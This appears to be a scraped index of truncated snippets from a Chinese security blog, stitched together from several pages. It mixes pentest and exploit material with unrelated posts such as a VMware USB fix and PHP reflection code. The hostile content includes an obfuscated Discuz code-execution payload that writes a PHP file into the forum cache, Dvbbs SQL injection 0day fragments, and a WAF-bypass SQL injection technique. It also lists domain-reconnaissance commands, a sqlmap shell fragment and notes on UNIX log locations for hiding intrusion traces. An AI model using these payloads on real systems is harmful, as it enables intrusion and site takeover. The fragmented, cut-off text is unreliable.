KELE.IM

bksec.net

域环境下的渗透 - my5t3ry's blog

http://www.bksec.net/pentest/域环境下的渗透.html

Form http:/ www.nuanyue.com/%e5%9f%9f%e7%8e%af%e5%a2%83%e4%b8%8b%e7%9a%84%e6%b8%97%e9%80%8f.html. 域 (Domain) 是Windows网络中独立运行的单位，域之间相互访问则需要建立信任关系(即Trust Relation)。 域既是 Windows 网络操作系统的逻辑组织单元，也是Internet的逻辑组织单元，在 Windows 网络操作系统中，域是安全边界。 Net user /domain 来查看域内都有哪些用户，还可以查看指定域内都有哪些计算机. Net view /domain:testdomain (testdomain 假设为目标的其中一个域) 查看域内的管理员用户则可以执行. Net group domain admins /domain 还可以通过命令. Net user domain-admin /domain 查看管理员登陆时间，密码过期时间，是否有登陆脚本，组分配等信息。 上一篇: 解决VMWare的VMware USB Arbitration Service服务与索爱驱动冲突的问题.

bksec.net

my5t3ry's blog

http://www.bksec.net/page/3

My5t3ry注 Tommie和孤水绕城写的书，大家支持下 淘宝购买地址 http:/ item.taobao.com/auction/item detail- db2-207dce7846a107141090212374780dae.htm 在线商城购买地 址 http:/ book.nohack.cn/goods-72.html 一、序 高手经常说 细节决定胜败 ，的确是这样的，但这些细节为什么他们能注意到，而不是你们呢 牛顿有句话说得好 如果我比别人看得远，那是因为我站在巨人的肩膀上。 Anthor:Sh@dom PostgreSQL是一个强大开源的关系数据库系统.它经过了15年多的开发历程,一个经得起考验的体系结构,在可靠性、数据完整性和正确性方面赢得了极好的声誉.它运行在所有主要的操作系统上,包括Linux、UNIX (AIX, BSD, HP-UX, SGI IRIX, Mac OS X, Solaris, Tru64)和Windows. 它是完全符合ACID原则，完全支持外键、联合、视图、触发器和存储过程(多种语言)。 文/饭 Oracle可以用sys context来获取基本信息，记录如...

bksec.net

Discuz非创始人管理员代码执行 - my5t3ry's blog

http://www.bksec.net/script/discuz非创始人管理员代码执行.html

Frames=yes&action=members&operation=newsletter 2. 发短消息，通知内容为 {${phpinfo()} EXP - (fputs(fopen('forumdata/cache/cache 01.php','w'),'? Eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(...解决VMWare的VMware USB Arbitration Service服务与索爱驱动冲突的问题.

bksec.net

my5t3ry's blog

http://www.bksec.net/page/2

Methods of quick exploitation of blind SQL Injection. Http:/ www.packetstormsecurity.org/papers/database/PT-devteev-FAST-blind-SQL-Injection.txt. Dvbbs php 2.0 几处0day. By:T00ls 核心成员 Xhm1n9 2010.8.19 1,joinvipgroup.php / 注入 function up vipuser(){ global $lang,$db,$dv,$userid,$userinfo,$vipgroupuser; $groupid=$ POST['vipgroupid']; $btype=$ POST['Btype']; $vipmoney=$ POST['vipmoney']; $vipticket=$ POST['vipticket']; if($groupid= 0 or $vipmoney 0 or $. Dedecms = V5.6 Final模板执行漏洞. My5t3ry 网上转的，记录一下 serialize(...

bksec.net

分类 Linux 下的文章 - my5t3ry's blog

http://www.bksec.net/category/linux

Author:樱花浪子 UNIX网管员主要是靠系统的LOG,来获得入侵的痕迹.当然也有第三方工具记录入侵系统的 痕迹,UNIX系统存放LOG文件,普通位置如下: /usr/adm - 早期版本的UNIX /var/adm - 新一点的版本使用这个位置 /var/log - 一些版本的Solaris,linux BSD,Free BSD使用这个位置 /etc - 多数UNIX版本把utmp放在这里，有些也把wtmp放在这里，syslog.conf在这里 下面的一些文件根据你所在的目录不同而不同 acct 或 pacct - 记录每个用户使用的命令记录 access . 解决VMWare的VMware USB Arbitration Service服务与索爱驱动冲突的问题.

bksec.net

2011年1月 - my5t3ry's blog

http://www.bksec.net/2011/01

文/meao 昨天在检测一个外国PHP网站时 在id=255后加’出现forbidden 于是我and 1=1正常 and 1=2出错 说明肯定有注入 接着我order by猜出字段 然后union select 1,2,3,4 / 悲剧的又出现了forbidden 肯定是做了过滤了 后来构造了语句id=-255 union /*! Select*/ 1,2,3,4. 文/xuser 一般注入多用于在mssql和mysql两类数据库中，如mssql asp、 mysql php则是最为常见的搭配环境。 关于PostgreSQL PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统 ORDBMS ，可以说是目前世界上最先进，功能最强大的自由数据库管理系统。 解决VMWare的VMware USB Arbitration Service服务与索爱驱动冲突的问题. 原创 解决VMWare的VMware USB Arbitration Service服务与索爱手机驱动冲突的问题 收藏 现象 VMWare内不能识别USB设备。

bksec.net

php 反射实例应用-快速定位函数或类所在的位置 - my5t3ry's blog

http://www.bksec.net/archives/PHP-Reflection.html

在 zend studio 这样的 IDE 中自是可以自动提示到，但当没有安装这样的开发工具时，可以用下面的代码. Php function custom() class custom{ public function index() } print r(get define position('custom') ; /* * / * @param string $name 函数名或者类名 * @return array */ function get define position($name){ $info = array(); if(class exists($name) { $ob = new ReflectionClass($name); $info['class '.$name]= array('file'= $ob- getFileName(),'line'= $ob- getStartLine() ; } if(function exists($name) { $ob = new ReflectionFunction($name); $info['function '.$...

bksec.net

my5t3ry's blog

http://www.bksec.net/page/4

这个漏洞是上次那个代码执行漏洞的再次利用 /include/dedesql.class.php. 当查找支持IPSec的设备时，你要寻找主机上开放的UDP 500或4500端口以及对49号 认证头 或50号 安全载荷封装 协议的支持。 不过，正如你可能知道的那样，UDP端口扫描不如你希望的那样可靠，ICMP type 3 code 2通常会被中间路由器阻塞。 Author:jackal member guestbook action.php $title = cn substr(html2text($title),60); $msg = cn substr(stripslashes($msg),2048); if($cfg ml- M UserName! Cfg ml- M ID! Uidnum) $gid = $cfg ml- M UserName; else $gid = ' ; $inquery = " INSER. DEDECMS v5.5 GBK Final 的一个鸡肋漏洞. Sablog-X 2.0 后台管理权限欺骗漏洞. Cityid=2&m=1" -v 1 - sql-shell / 执...

bksec.net

分类 Archives 下的文章 - my5t3ry's blog

http://www.bksec.net/category/archives

解决VMWare的VMware USB Arbitration Service服务与索爱驱动冲突的问题.

bksec.net

分类 Pentest 下的文章 - my5t3ry's blog

http://www.bksec.net/category/pentest

Form http:/ www.nuanyue.com/%e5%9f%9f%e7%8e%af%e5%a2%83%e4%b8%8b%e7%9a%84%e6%b8%97%e9%80%8f.html 首先还是先简要看一下域的概念吧 域 (Domain) 是Windows网络中独立运行的单位，域之间相互访问则需要建立信任关系(即Trust Relation)。 解决VMWare的VMware USB Arbitration Service服务与索爱驱动冲突的问题.